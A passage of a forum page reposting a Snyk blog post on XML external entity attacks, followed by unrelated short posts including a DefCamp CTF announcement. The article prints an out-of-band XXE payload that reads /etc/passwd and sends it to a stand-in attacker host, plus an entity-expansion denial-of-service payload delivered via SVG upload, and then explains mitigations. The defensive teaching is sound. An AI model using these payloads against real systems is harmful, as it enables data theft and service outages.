messages, as they essentially provide free reconnaissance for attackers. We need to clearly define error messages for expected scenarios, such as those applicable to our example server’s FileNotFound exception. Furthermore, we need to ensure that we specify appropriate error messages for edge cases, which usually requires us to test our code. OUT-OF-BAND EXFILTRATION An out-of-band attack is used to exfiltrate data along a different channel than the one used to send the attack. This type of attack usually involves directing the target server to make a request to an address at which the attacker hosts a malicious external DTD. First, they will have to send a compromised payload with the content of a malicious DTD, such as: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "https://evilattacker.com/corrupted.dtd"> %xxe; ]> The corrupted.dtd file on the attacker server contains: <?xml version="1.0" encoding="UTF-8"?> <!ENTITY % badfile SYSTEM "file:///etc/pâsswd"> <!ENTITY % deval "<!ENTITY &#x25; revealinfo SYSTEM 'https://evilattacker.com/?x=%badfile;'>"> % deval; % revealinfo ; When the revealinfo entity is executed, an HTTP request is sent to the attacker’s server with the value of badfile embedded in the request string. When the deval entity is referenced, the dynamic declaration of the revealinfo entity will be initiated. OTHER VECTORS Other common vectors for XXE attacks include: File uploads, such as .config files Text input fields, especially those like HTML text and textarea fields, which may have limited input validation rules XML-based technologies, such as RSS feeds and APIs XML-based files, particularly common formats like SVG images For example, an attacker can upload an SVG containing a link to a malicious document to execute an XML bomb attack: <svg width="128px" height="128px" xmlns="https://www.evilattacker.com/svg" xmlns:xlink="https://www.evilattacker.com/xlink" version="1.1"> <text font-size="16" x="0" y="16">&a4;</text> </svg> The payload might look something like this: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ELEMENT bin (#PCDATA)> <!ENTITY a0 "garbage"> <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"> <!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;"> <!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;"> ]> <bin>&a4;</bin> The parser sees several entity declarations in the DTD, but it doesn’t evaluate them right away. It then reads the document and encounters the bin element, which it calls by expanding the a4 entity. However, to do so, it must expand the ten contained instances of the a3 entity, which requires it to expand the contained a2 entities — all the way down to a0. The final expanded size of the bin element contains the recursive expansion of all the elements in the a4 entity. In a payload with ten or more levels of nested entities, the resulting file can be hundreds of gigabytes, typically causing an out-of-memory error for the server attempting to parse the SVG file — and a denial of service for our users. Setting automatic memory or other resource usage limits for request processing is enough to prevent many types of DOS attack, as they generally rely on overwhelming a server’s capacity. Universally applicable security practices DISABLE SUPPORT FOR EXTERNAL ENTITIES Disallowing external entities and user-defined DTDs is often enough to mitigate many types of XXE injection attacks, and most tools provide single-line commands to achieve this. USE A WEB APPLICATION FIREWALL (WAF) Web application firewalls (WAFs) are great tools in combating XXE attacks generally, as they inspect HTTP traffic for potentially malicious content and apply filtering rules to protect our web applications. IMPLEMENT ZERO TRUST SECURITY The trust relationship between your web applications and other external or third-party services (such as message brokers and user authentication platforms) can be exploited to launch a SSRF on your server infrastructure. Furthermore, services within your network should only be allowed to access the resources they need to function properly. We should make sure to appropriately isolate logs and sensitive data, and implement strong processes to regularly audit access privileges for all users — both human and programmatic. This also makes security maintenance easier to manage in the long term. ALWAYS RUN AUTOMATED XXE VULNERABILITY SCANS AND TESTING Automatic XXE vulnerability scans can help identify and address vulnerabilities in your infrastructure before an attacker exploits them. A comprehensive and intelligent detection system should also offer recommendations for how to further secure the system. KEEP YOUR SECURITY PATCHES UP TO DATE It’s important that our systems have up-to-date patches from trusted security providers. These supports may include security driver updates and DOS protection patches. For the latest on open source vulnerabilities, we recommend using Snyk Open Source, which is powered by the comprehensive, accurate, and timely Snyk Vulnerability Database. REDUCE RISKS WITH SNYK PROTECTION CAPABILITIES Third-party libraries are sometimes vulnerable to exploitation thereby exposing your application to attackers. To further boost your application’s defenses, we suggest using Snyk OSS to scan each third-party library that is integrated into your application. You can also take advantage of the Snyk code capabilities to identify and catch potential security vulnerabilities before they are exploited. Final thoughts on XML security XML is a versatile and powerful tool for data transport — even more so because it enables us to dynamically use linked external resources. However, these characteristics make it a popular tool for malicious actors. To properly prevent and mitigate the risks associated with it, it’s vital to understand the potential vulnerabilities it can introduce. Improperly sanitized user inputs, overly verbose error handling, and weakly configured access privileges open the possibility for attackers to use external entity (XXE) injection attacks to compromise our systems. An effective way to fix these vulnerabilities is to validate and filter user input and uploads, and in most cases to simply remove functionality like external DTD processing or PHP protocol wrappers. Error messages are most appropriate when they communicate minimal information to the user. For example, if a user fails a login attempt, it’s not necessary to tell them whether it’s their password or username that didn’t pass. We can also implement WAFs and DOS protections or use a service provider who offers these features. And, if an attacker does breach security, they should only encounter encrypted data and a network of zero-trust services. Sursa: https://snyk.io/blog/find-and-fix-xml-entity-vulnerabilities/

https://adevarul.ro/stiri-interne/evenimente/inchisoare-pe-viata-pentru-luptatorul-k1-care-a-2209265.html?

Da, interesanta poveste. Intrebarea mea ar fi "de ce spitale?". Ce ai patit dupa ce te-au prins? Ma bucur sa vad ca ti-ai schimbat mentalitatea.

They are the winners from the last edition of DefCamp Capture the Flag (D-CTF) competition. Wondering how your name could get on the D-CTF 2022 leaderboard (win prizes totaling EUR 4,500 & get free tickets to DefCamp 2022)? Just follow these 3 easy steps: 1. Get your team together & register for the D-CTF 2022 Qualifications - not to put any pressure, but there is only one week left! 😱 WHEN? Starting September 30th, 09.00 UTC Until October 1st, 15.00 UTC WHERE? Online, on CyberEDU.ro Register: https://dctf22-quals.cyberedu.ro/ 2. Hack before getting hacked & make it in the top 10 shortlist that will be attending the finals during the DefCamp conference in Bucharest. P.S. Up to 5 teams from Romania will also be invited in the final. 3. Join us at DefCamp on November 10-11 in Bucharest & do your absolute best in the D-CTF 2022 finals! Register: https://dctf22-quals.cyberedu.ro/ See you soon! The DefCamp team